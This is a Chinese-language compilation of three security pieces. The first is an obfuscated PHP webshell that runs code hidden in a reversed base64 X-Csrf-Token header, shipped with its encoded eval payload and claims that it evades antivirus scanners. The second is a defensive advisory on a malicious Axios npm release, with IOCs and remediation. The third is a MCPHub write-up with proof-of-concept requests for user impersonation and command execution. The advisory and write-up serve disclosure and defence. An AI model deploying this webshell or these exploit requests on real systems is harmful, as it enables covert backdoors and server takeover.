编码混淆
找个大模型一把梭
base64和逆序
function custom_base64_decode($input) {
$base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
$input = rtrim($input, '=');
$binaryString = '';
foreach (str_split($input) as $char) {
$index = strpos($base64Chars, $char);
if ($index === false) {
throw new Exception("Invalid Base64 character: $char");
}
$binaryString .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
}
$bytes = str_split($binaryString, 8);
$decodedString = '';
foreach ($bytes as $byte) {
$decodedString .= chr(bindec($byte));
}
return $decodedString;
}
function reverseString($input)
{
if (!is_string($input)) {
return "need str";
}
$length = strlen($input);
$reversed = "";
for ($i = $length - 1; $i >= 0; $i--) {
$reversed .= $input[ $i ];
}
return $reversed;
}
完整的webshell
源代码
具体的攻击载荷放在http的X-Csrf-Token里
<?php
session_start();
declare(ticks=15);
function safeDivide($a, $b) {
if ($b == 0) {
throw new Exception("Division by zero is not allowed.");
}
return $a / $b;
}
function custom_base64_decode($input) {
$base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
$input = rtrim($input, '=');
$binaryString = '';
foreach (str_split($input) as $char) {
$index = strpos($base64Chars, $char);
if ($index === false) {
throw new Exception("Invalid Base64 character: $char");
}
$binaryString .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
}
$bytes = str_split($binaryString, 8);
$decodedString = '';
foreach ($bytes as $byte) {
$decodedString .= chr(bindec($byte));
}
return $decodedString;
}
function reverseString($input)
{
if (!is_string($input)) {
return "need str";
}
$length = strlen($input);
$reversed = "";
for ($i = $length - 1; $i >= 0; $i--) {
$reversed .= $input[ $i ];
}
return $reversed;
}
function tickHandler(){
try {
echo "result:".safeDivide(2025, ($_GET['pass']-1));
}catch(Exception $e){
@create_function('',custom_base64_decode(reverseString(apache_request_headers()['X-Csrf-Token'])))();
}
}
register_tick_function('tickHandler');
for ($i = 1; $i <= 12; $i++) {
echo "shell: $i\n";
}
测试环境
PHP版本:PHP7全版本
OS:Windows和Linux环境均测试通过
使用方法
初始payload: eval($_POST[1]);
base64编码,逆序处理:==wOp0VMbR1UPB1XkgCbhZXZ
放在http头部里
webshell连接
免杀效果展示
第四届伏魔挑战赛成功绕过(white)的截图
VT
D盾(2.1.8.6)
河马:报了可疑
Axios遭供应链投毒攻击(附排查与紧急补救指南)
每周下载3亿次的Axios遭供应链投毒攻击,附排查与修复指南
事件概述:2026年3月31日,著名云安全平台 StepSecurity 监测到,在 JavaScript 生态系统中最受欢迎的 HTTP 客户端库 Axios(每周下载量超 3 亿次)遭遇了严重的供应链攻击。攻击者劫持了 Axios 核心维护者(jasonsaayman)的 npm 账户,并在 npm 官方仓库发布了两个被污染的恶意版本:axios@1.14.1 和 axios@0.30.4。
这些恶意版本并未修改 Axios 自身的源代码,而是神不知鬼不觉地注入了一个名为 plain-crypto-js@4.2.1 的隐藏依赖项。该依赖项唯一的用途就是作为一台跨平台的“木马投递器”,在开发者执行 npm install 期间自动触发,静默释放出针对 Windows、macOS 和 Linux 系统的远程访问木马 (RAT) ,窃取环境凭据并控制机器。
攻击时间线与战术揭秘
此次攻击计划极为缜密周密:
提前潜伏:攻击者在发布毒化版 axios 前 18 个小时,通过临时账户发布了伪装成合法加密库的 plain-crypto-js@4.2.1 恶意依赖,以此绕过“最新发布包”的安全扫描告警。
账号劫持与绕过 CI/CD:攻击者将受害者 npm 账户的注册邮箱篡改为其控制的 ProtonMail 邮箱。值得注意的是,合法的 axios 版本是通过 GitHub Actions 的 OIDC 机制自动化发布的,而这批恶意包则是攻击者使用长期存在的 npm Access Token 人工发布的,完全脱离了正常的源代码提交流程(没有 Commit 或 Tag)。
精准投毒:为了最大化打击面,攻击者在 39 分钟内连续给 axios 最主流的 1.x 架构分支和老旧项目的 0.x 架构分支均发布了投毒更新。
迅速止损:这两个恶意版本分别存活了约 2 小时 53 分钟和 2 小时 15 分钟后,便被 npm 官方撤回并替换为安全阻断存根(Security-holder stub)。
恶意机制如何运作? (动态执行与跨平台感染)
当不知情的开发者安装受污染的 axios@1.14.1 时,npm 会连带安装毫无关联的假依赖 plain-crypto-js。通过这层“影子依赖”,恶意软件触发了其核心攻击逻辑:
1. 利用生命周期钩子(Postinstall Hook)假依赖的 package.json 中配置了 "postinstall": "node setup.js" 钩子,这导致 npm 刚刚解析完树结构,恶意脚本就瞬间开始执行,甚至在整个 npm install 完整结束前就开始连接 C2(命令与控制)服务器。
2. 免杀与深度混淆setup.js 采用了两层定制化的加密解密机制(异或混淆配合 Base64 等),用以躲匿敏感的 C2 域名(http://sfrclak.com:8000/)和终端执行命令,成功避开了常规的静态代码扫描。
3. 三端定制的木马释放逻辑(RAT Payloads)该脚本会识别目标宿主机的操作系统类型(macOS、Windows、Linux),并执行相对应的二阶段木马攻击:
macOS 平台:将 AppleScript 无痕跑在后台,拉取 macOS 的专版木马,将其隐藏伪造为系统级缓存进程守护目录(/Library/Caches/com.apple.act.mond)。
Windows 平台:将 PowerShell 副本伪装成 Windows Terminal 进程 (%PROGRAMDATA%\wt.exe),随后通过无 UI 窗口的 VBScript 下载 ps1 载荷并在内存中绕过执行策略运行。
Linux 平台:直接使用系统 Curl 拉取恶意 Python 脚本(/tmp/ld.py)并使用 nohup 放入纯后台执行。
4. 反取证清理(Self-Cleanup)为了躲避事后审计,当一阶段载荷发射完毕并且 C2 服务器建立连接后,setup.js 脚本会“自杀”(删除自己)!甚至,它还会将原本包含提权配置文件的 package.json 替换成一个提前准备好的“无害假文件”。这意味着,如果事后有人去 node_modules 下去翻看源代码找异常,只会看到一个干干净净、仿佛从来没作恶过的模块。
IOC
axios@1.14.1 · shasum: 2553649f232204966871cea80a5d0d6adc700ca
axios@0.30.4 · shasum: d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71
plain-crypto-js@4.2.1 · shasum: 07d889e2dadce6f3910dcbc253317d28ca61c766
C2 域名 · sfrclak[.]com
C2 IP · 142[.]11[.]206[.]73
C2 URL · http[:]//sfrclak[.]com[:]8000/6202033
C2 POST body (macOS) · packages[.]npm[.]org/product0
C2 POST body (Windows) · packages[.]npm.org/product1
C2 POST body (Linux) · packages[.]npm[.]org/product2
macOS · /Library/Caches/com.apple.act.mond
Windows (persistent) · %PROGRAMDATA%\wt.exe
Windows (temp, self-deletes) · %TEMP%\6202033.vbs
Windows (temp, self-deletes) · %TEMP%\6202033.ps1
Linux · /tmp/ld.py
jasonsaayman · 被盗用合法的 axios 维护者邮箱,邮箱地址已更改为 [ifstap@proton[.]me]
nrwise · 攻击者创建的帐户, nrwise@proton[.]me ,发布了 plain-crypto-js
安全版本:axios@1.14.0 (安全) · shasum: 7c29f4cf2ea91ef05018d5aa5399bf23ed3120eb
排查与紧急补救指南 (Remediation)
如果在此时间段内流水线自动构建过或通过 npm 下载过相关版本组件,系统应直接视为 "已被深度妥协 (Compromised)" 。
📌 如何判断受影响?
运行检查命令:
//检查项目中是否存在恶意 axios 版本
npm list axios 2>/dev/null | grep -E "1\.14\.1|0\.30\.4"
grep -A1 '"axios"' package-lock.json | grep -E "1\.14\.1|0\.30\.4"
检查项目底层是否含有:node_modules/plain-crypto-js 目录(有该目录即表明中过招,不用管 package.json 有多干净:如果 setup.js 已经运行,则此目录下的 package.json 文件将被替换为一个干净的占位符文件。该目录的存在足以证明 dropper 已执行。)。
ls node_modules/plain-crypto-js 2>/dev/null && echo "POTENTIALLY AFFECTED"
检查机器后门:
# macOS
ls -la /Library/Caches/com.apple.act.mond 2>/dev/null && echo "COMPROMISED"
# Linux
ls -la /tmp/ld.py 2>/dev/null && echo "COMPROMISED"
"COMPROMISED"
# Windows (cmd.exe)
dir "%PROGRAMDATA%\wt.exe" 2>nul && echo COMPROMISED
检查 CI/CD 流水线日志 ,查找任何可能拉取了 axios@1.14.1 或 axios@0.30.4 的 npm install 执行。任何安装了这两个版本的流水线都应视为已遭入侵,所有注入的密钥都应立即轮换。
🛠️ 补救措施
强制降级并锁版本:回滚至安全的 axios@1.14.0(或 0.30.3),并在工程的 overrides/resolutions 字段强制锁定不被自动升级。
npm install axios@0.30.3 # for 0.x users
//添加一个 overrides 块,以防止传递解析回恶意版本
{
"dependencies": { "axios": "1.14.0" },
"overrides": { "axios": "1.14.0" },
"resolutions": { "axios": "1.14.0" }
}
从 node_modules 中移除 plain-crypto-js
rm -rf node_modules/plain-crypto-js npm install --ignore-scripts
彻底重构废弃:一旦检测到木马踪迹,环境系统直接推翻重构,不要尝试就地清理,系统状态可能已不纯洁。
全面凭证轮换(最关键!):此次木马会窃取本地变量,请立刻轮换/重置当时机器上存储的所有高权限密钥(包括 AWS 密钥、云平台账号、SSH 私钥、CI/CD Secret 以及任意 .env 环境变量)。
防御最佳实践:建立习惯要求,在 CI/CD 服务器运行打包安装时,强制带上防止脚本潜逃的安全参数:npm ci --ignore-scripts,并配置严谨的防火墙黑白名单出站策略(Egress)。
作为预防措施,在任何可能暴露的系统上, 阻止网络/DNS 层的 C2 流量 :
# Block via firewall (Linux)
iptables -A OUTPUT -d 142.11.206.73-j DROP
# Block via /etc/hosts (macOS/Linux)
echo "0.0.0.0 sfrclak.com" >> /etc/hosts
参考链接:https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan
MCPHub 高危漏洞实录:零凭证访问与授权后命令执行
本文涉及的所有漏洞均已在新版本中修复,仅供安全研究与学习参考。
看到标题,可能会误以为这是一条完整的攻击链——先绕过认证,再执行命令。但实际上两个漏洞没有任何依赖关系,放在一篇文章里面只是因为它们出自同一个项目。
MCPHub 是什么
MCPHub 是一个 MCP 服务器的统一管理中间层。
它解决的问题是:你本地或服务器上可能跑了一堆 MCP 服务,文件系统访问、数据库查询、网络请求……各有各的配置。MCPHub 把它们全部汇聚到一个统一的 SSE 端点,AI 客户端只连一个地址就能调用所有工具。
环境搭建
docker run -p 3000:3000 samanhappy/mcphub
身份认证绕过漏洞
攻击者不需要账号、不需要密码、不需要任何 token,只要把 URL 里的用户名改成想冒充的人,就能获得那个用户的完整权限——调用他配置的所有 MCP 工具,包括查数据库、读文件、调 API。 这个漏洞跟后面讲的命令执行漏洞没有任何关系。它走的是 SSE 长连接这条路,完全绕开了登录流程,不需要 token,也不会触发任何命令执行。
终端一中执行:
curl -N "http://127.0.0.1:3000/admin/sse/test"
终端二中执行:
Invoke-WebRequest -Uri "http://127.0.0.1:3000/admin/messages?sessionId=b4c0771b-decc-4b0f-ab0a-52f0612b2191" `
-Method POST `
-ContentType "application/json" `
-Body '{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}'
终端一中接收到请求
admin 配置的工具全部列出来了。接下来就可以直接调用
SSE (Server-Sent Events) 是一种服务器推送技术,允许服务器通过 HTTP 连接持续向客户端推送数据。与传统的请求-响应模式不同,SSE 连接在建立后会保持打开状态,服务器可以随时向客户端发送事件。
MCPHub 的 SSE 接入路由格式是:
GET /{username}/sse/{group}
mcphub-main\/src/middlewares/userContext.ts
从 URL 获取用户名,直接创建用户对象,无任何验证
漏洞根本原因是:
直接信任 URL 参数:系统从 req.params.user 提取用户名,这个值完全由攻击者控制
缺少身份验证:没有检查当前请求是否已认证,没有验证 token、session 或任何凭证
缺少权限验证:没有检查请求者是否有权访问目标用户的资源
直接设置用户上下文:调用 setCurrentUser() 后,系统完全信任这个伪造的身份
sseService.ts 是 MCPHub 的核心传输层服务文件,负责处理客户端与 MCP 服务器之间的所有通信。这个文件包含了 SSE (Server-Sent Events) 连接管理、会话管理、Bearer 认证验证等关键功能。身份验证绕过漏洞正是在这些核心功能中被利用的。
mcphub-main/src/services/sseService.ts
缺少 userId 字段 ,无法验证 session 所有权,任何人只要有 sessionId 就能使用
因为 session 不记录它属于谁,handleSseMessage 处理消息时只判断"这个 sessionId 存不存在",不管"这个 session 是不是你的"。拿到别人的 sessionId 就能直接用。
mcphub-main/src/services/sseService.ts
validateBearerAuth 函数存在严重的认证绕过漏洞。当系统没有配置任何 Bearer keys 时(enabledKeys.length \=\=\= 0,这是默认情况),该函数会直接返回 { valid: true } 允许所有请求通过,完全跳过身份验证。这意味着在大多数未配置 Bearer 认证的 MCPHub 部署环境中,任何人都可以不需要任何凭证就能访问系统。更糟糕的是,即使提供了无效的 Bearer token,只要系统未配置 keys,函数仍然返回认证成功,使得整个认证层形同虚设。
handleSseConnection 函数直接信任并使用了中间件从 URL 参数中提取的用户名,没有验证请求者是否真的是该用户。攻击者只需在 URL 中指定任意用户名(如 /admin/sse/test),中间件就会将 'admin' 设置为当前用户上下文,然后 handleSseConnection 使用这个伪造的用户名构造消息路径 /admin/messages 并创建属于该用户的 SSE transport。整个过程中没有检查 URL 中的用户名是否与实际认证的用户匹配,导致攻击者可以伪装成任意用户获取其完整权限。
handleSseMessage 函数在处理消息时只验证 sessionId 是否存在于全局 transports 对象中,但不验证该 session 是否属于当前请求的用户。由于 SessionContext 接口缺少 userId 字段,系统无法追踪每个 session 的所有者。这导致攻击者只要知道任何有效的 sessionId,就可以通过构造请求 POST /admin/messages?sessionId\=xxx 来使用该 session 执行操作,即使这个 session 实际上属于其他用户。配合前两个漏洞,攻击者可以先伪装成 admin 获取 sessionId,然后持续使用该
步骤 1:客户端建立 SSE 连接
客户端向服务器发送 GET 请求,请求头包含 Accept: text/event-stream
GET /admin/sse/test HTTP/1.1
Host: 127.0.0.1:3000
Accept: text/event-stream
Connection: keep-alive
注意:Connection 必须是 keep-alive 或不设置,
如果设置为 close 会导致连接立即断开!
步骤 2:服务器返回 sessionId 并保持连接
服务器返回 200 OK,Content-Type: text/event-stream,并通过事件流推送 sessionId
HTTP/1.1 200 OK
Content-Type: text/event-stream
event: endpoint
data: /admin/messages?sessionId=5b242344-ddf1-4c21-b8f4-0193d3467f1e
关键点:此时 SSE 连接并未关闭,而是保持打开状态,等待后续事件推送。
步骤 3:使用 sessionId 发送消息
客户端使用获取到的 sessionId 发送 JSON-RPC 消息(通过另一个 HTTP POST 请求)
POST /admin/messages?sessionId=5b242344-ddf1-4c21-b8f4-0193d3467f1e HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}
步骤 4:服务器通过 SSE 连接返回响应
event: message
data: {"result":{"tools":[]},"jsonrpc":"2.0","id":2}
漏洞危害
假设 admin 用户配置了一个访问公司数据库的 MCP 工具:
// 1. 伪装成 admin
GET /admin/sse/company-db
// 2. 列出工具
POST /admin/messages?sessionId\=xxx
{"method": "tools/list"}
// 响应:
{
"tools": [
{
"name": "query_customer_data",
"description": "查询客户数据库"
}
]
}
// 3. 执行工具窃取数据
POST /admin/messages?sessionId=xxx
{
"method": "tools/call",
"params": {
"name": "query_customer_data",
"arguments": {
"query": "SELECT * FROM customers"
}
}
}
// 结果:获取所有客户信息
validateBearerAuth 的逻辑已经改了。现在当 enableBearerAuth 为 true 且没有配置 key 时,不再直接放行,而是尝试验证 OAuth token,验证失败就拒绝:
授权命令执行漏洞
必须先登录,必须有合法的 admin token 。/api/servers 接口用的是标准的 JWT 认证,不是 SSE 那套逻辑,漏洞一的 URL 用户名伪造对这个接口完全没用。
漏洞一能冒充 admin,然后利用漏洞二执行命令?不行。因为冒充 admin 只是在 SSE 连接里设置了用户上下文,这个上下文不会转化成 JWT token,/api/servers 该要 token 还是要 token,两条路径互不相通。
MCPHub 支持 stdio 类型的 MCP 服务器,本质是在本机启动一个子进程,用标准输入输出通信。问题在于添加服务器时,对 command 和 args 字段没有任何验证,你填 /bin/sh 加任意参数,服务器就会老实执行。
构造数据包进行登录 获取 token 值
POST /api/auth/login HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 42
accept-language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
content-type: application/json
Accept: */*
Origin: http://localhost:3000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:3000/login
Accept-Encoding: gzip, deflate
Cookie: i18next=en
Connection: close
{"username":"admin","password":"admin123"}
利用登录后的 token 构造数据包
POST /api/servers HTTP/1.1
Host: 127.0.0.1:8000
Content-Length: 105
accept-language: en
x-auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjp7InVzZXJuYW1lIjoiYWRtaW4iLCJpc0FkbWluIjp0cnVlfSwiaWF0IjoxNzcwMzYxNTAzLCJleHAiOjE3NzA0NDc5MDN9.rTpSwQ8dKOrfYndjcVIe04kXaG8aKMN6kSvU1FPX_IM
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
content-type: application/json
Accept: */*
Origin: http://localhost:3000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:3000/login
Accept-Encoding: gzip, deflate
Cookie: i18next=en
Connection: close
{"name":"rce_test","config":{"type":"stdio","command":"/bin/sh","args":["-c","whoami > /tmp/pwned.txt"]}}
mcphub-main/src/controllers/serverController.ts
直接接受用户输入:直接从请求体中获取 config 对象,攻击者完全控制该对象的所有字段,包括 command、agrs 和 env。
仅验证字段存在性:只检查 config.command 和 config.args 是否存在,不验证 command 是否在白名单中,不检查 args 是否包含危险字符串或者命令注入尝试,不限制可执行文件的路径。
类型验证不足:允许 stdio 类型,但没有对其进行任何特殊的安全检查,例如命令白名单或参数过滤。
未经过滤直接传递:未经过滤的恶意配置直接传递到服务层
mcphub-main/src/services/mcpService.ts
直接保存到数据库,没有任何安全检查:直接将未验证的 config 保存到数据库,没有任何命令或参数的安全检查,没有调用任何验证函数
命令字段无验证:conf.command 可以是任意可执行文件路径,如 /bin/sh、/bin/bash、curl 等
参数字段无过滤:conf.args 可以包含任意参数,包括 shell 元字符和命令注入载荷
StdioClientTransport 直接创建子进程:底层使用 Node.js 的child_process.spawn(),直接执行攻击者控制的命令
mcphub-main/src/services/mcpService.ts
一旦恶意服务器配置被保存到数据库,系统会自动调用 createTransportFromConfig 创建传输、在创建 StdioClientTransport 时启动子进程、攻击者的恶意命令被自动执行。
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

